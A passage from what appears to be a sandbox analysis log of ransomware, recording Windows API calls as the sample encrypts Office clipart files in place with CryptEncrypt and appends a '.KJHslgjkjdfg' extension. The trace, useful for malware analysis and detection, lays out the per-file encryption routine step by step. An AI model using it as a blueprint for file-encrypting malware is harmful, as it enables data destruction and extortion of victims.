lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3e10, lpOverlapped=0x0) returned 1 [0200.816] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3e10, dwBufLen=0x3e10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3e10) returned 1 [0200.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.816] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3e10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3e10, lpOverlapped=0x0) returned 1 [0200.816] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.816] SetEndOfFile (hFile=0x130) returned 1 [0200.818] GetProcessHeap () returned 0x2ef0000 [0200.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.818] GetProcessHeap () returned 0x2ef0000 [0200.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.818] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.kjhslgjkjdfg")) returned 1 [0200.819] CloseHandle (hObject=0x130) returned 1 [0200.819] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1 [0200.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.820] GetProcessHeap () returned 0x2ef0000 [0200.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.820] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.820] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.821] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.821] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.822] GetProcessHeap () returned 0x2ef0000 [0200.822] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.822] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.822] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.822] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.822] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.822] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.822] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a64, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a64, lpOverlapped=0x0) returned 1 [0200.823] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a70, dwBufLen=0x2a70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a70) returned 1 [0200.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.823] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a70, lpOverlapped=0x0) returned 1 [0200.823] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.824] SetEndOfFile (hFile=0x130) returned 1 [0200.825] GetProcessHeap () returned 0x2ef0000 [0200.825] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.825] GetProcessHeap () returned 0x2ef0000 [0200.825] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.kjhslgjkjdfg")) returned 1 [0200.826] CloseHandle (hObject=0x130) returned 1 [0200.827] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1 [0200.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.828] GetProcessHeap () returned 0x2ef0000 [0200.828] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.828] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.828] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.830] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.830] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.830] GetProcessHeap () returned 0x2ef0000 [0200.830] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.830] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.830] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.830] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.830] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.830] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.830] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.830] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.830] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.830] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.831] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2c18, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2c18, lpOverlapped=0x0) returned 1 [0200.831] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c20, dwBufLen=0x2c20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c20) returned 1 [0200.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.832] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2c20, lpOverlapped=0x0) returned 1 [0200.832] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.832] SetEndOfFile (hFile=0x130) returned 1 [0200.834] GetProcessHeap () returned 0x2ef0000 [0200.834] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.834] GetProcessHeap () returned 0x2ef0000 [0200.834] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.kjhslgjkjdfg")) returned 1 [0200.835] CloseHandle (hObject=0x130) returned 1 [0200.835] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1 [0200.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.837] GetProcessHeap () returned 0x2ef0000 [0200.837] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.837] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.837] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.839] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.839] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.839] GetProcessHeap () returned 0x2ef0000 [0200.839] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.839] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.839] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.839] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.839] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.839] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.839] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.839] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.839] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1984, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1984, lpOverlapped=0x0) returned 1 [0200.840] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1990, dwBufLen=0x1990 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1990) returned 1 [0200.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.840] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1990, lpOverlapped=0x0) returned 1 [0200.840] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.841] SetEndOfFile (hFile=0x130) returned 1 [0200.843] GetProcessHeap () returned 0x2ef0000 [0200.843] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0200.843] GetProcessHeap () returned 0x2ef0000 [0200.843] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0200.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.kjhslgjkjdfg")) returned 1 [0200.844] CloseHandle (hObject=0x130) returned 1 [0200.844] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1 [0200.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.844] GetProcessHeap () returned 0x2ef0000 [0200.844] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0200.844] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0200.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0200.844] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0200.847] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.847] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.847] GetProcessHeap () returned 0x2ef0000 [0200.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0200.847] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0200.847] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.847] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0200.847] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0200.847] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0200.847] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0200.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0200.847] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0200.847] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0200.847] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0200.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.847] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1094, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1094, lpOverlapped=0x0) returned 1 [0200.848] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10a0, dwBufLen=0x10a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10a0) returned 1 [0200.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.848] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x10a0, lpOverlapped=0x0) returned 1 [0200.848] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0200.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.848] SetEndOfFile (hFile=0x130) returned 1 